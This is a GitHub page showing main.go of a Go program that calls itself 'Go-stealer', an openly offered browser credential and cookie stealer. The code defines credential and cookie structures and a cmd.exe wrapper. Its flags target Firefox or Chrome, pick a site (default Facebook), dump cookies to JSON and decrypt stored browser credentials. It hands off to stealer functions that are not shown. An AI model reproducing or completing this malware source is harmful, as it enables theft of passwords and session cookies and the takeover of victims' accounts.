-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.go
82 lines (71 loc) · 2.02 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package main
import (
"fmt"
"os"
"os/exec"
"flag"
"strings"
)
func CmdOut(command string) (string, error) {
cmd := exec.Command("cmd", "/C", command)
output, err := cmd.CombinedOutput()
out := string(output)
return out, err
}
type Credential struct{
Host string `json:"host"`
Username string `json:"username"`
Password string `json:"password"`
}
type Cookie struct {
Name string `json:"name"`
Value string `json:"value"`
Host string `json:"host"`
}
type Data struct{
Cookies []Cookie `json:"cookies"`
Credentials []Credential `json:"credentials"`
}
func main(){
fs := flag.NewFlagSet("Go-stealer", flag.ExitOnError)
fs.Usage = func() {
fmt.Fprintf(os.Stderr, "Usage: go-stealer.exe [OPTIONS]\n")
fs.PrintDefaults()
}
var help bool
var dumpAll bool
var check bool
var t bool
var output string
var host string
var browser string
fs.BoolVar(&help, "h", false, "display this help message")
fs.StringVar(&host, "web", "facebook", "Specific web url to look for in cookies")
fs.StringVar(&host, "w", "facebook", "Shorthand for web option")
fs.StringVar(&browser, "browser", "firefox", "Specific targeted browser")
fs.StringVar(&browser, "b", "firefox", "Shorthand for browser option")
fs.StringVar(&output, "output", "", "Log all result into a single JSON file")
fs.StringVar(&output, "o", "", "Shorthand for -output")
fs.BoolVar(&dumpAll, "dump-all", false, "Dump All cookies into single JSON file, --Output option is required for this.")
fs.BoolVar(&dumpAll, "a", false, "Shorthand for -dump-all")
fs.BoolVar(&check, "check-credentials", false, "Check local credential files and try to decrypt it.")
fs.BoolVar(&check, "c", false, "Shorthand for check-credential option")
fs.BoolVar(&t, "t", false, "")
err := fs.Parse(os.Args[1:])
if err != nil {
fmt.Fprintf(os.Stderr, "%v\n", err)
os.Exit(1)
}
if t{
os.Exit(0)
}
if help {
fs.Usage()
os.Exit(0)
}
if strings.ToLower(browser) == "firefox"{
FirefoxStealer(host, output, dumpAll, check)
}else{
ChromeStealer(host, output, dumpAll, check)
}
}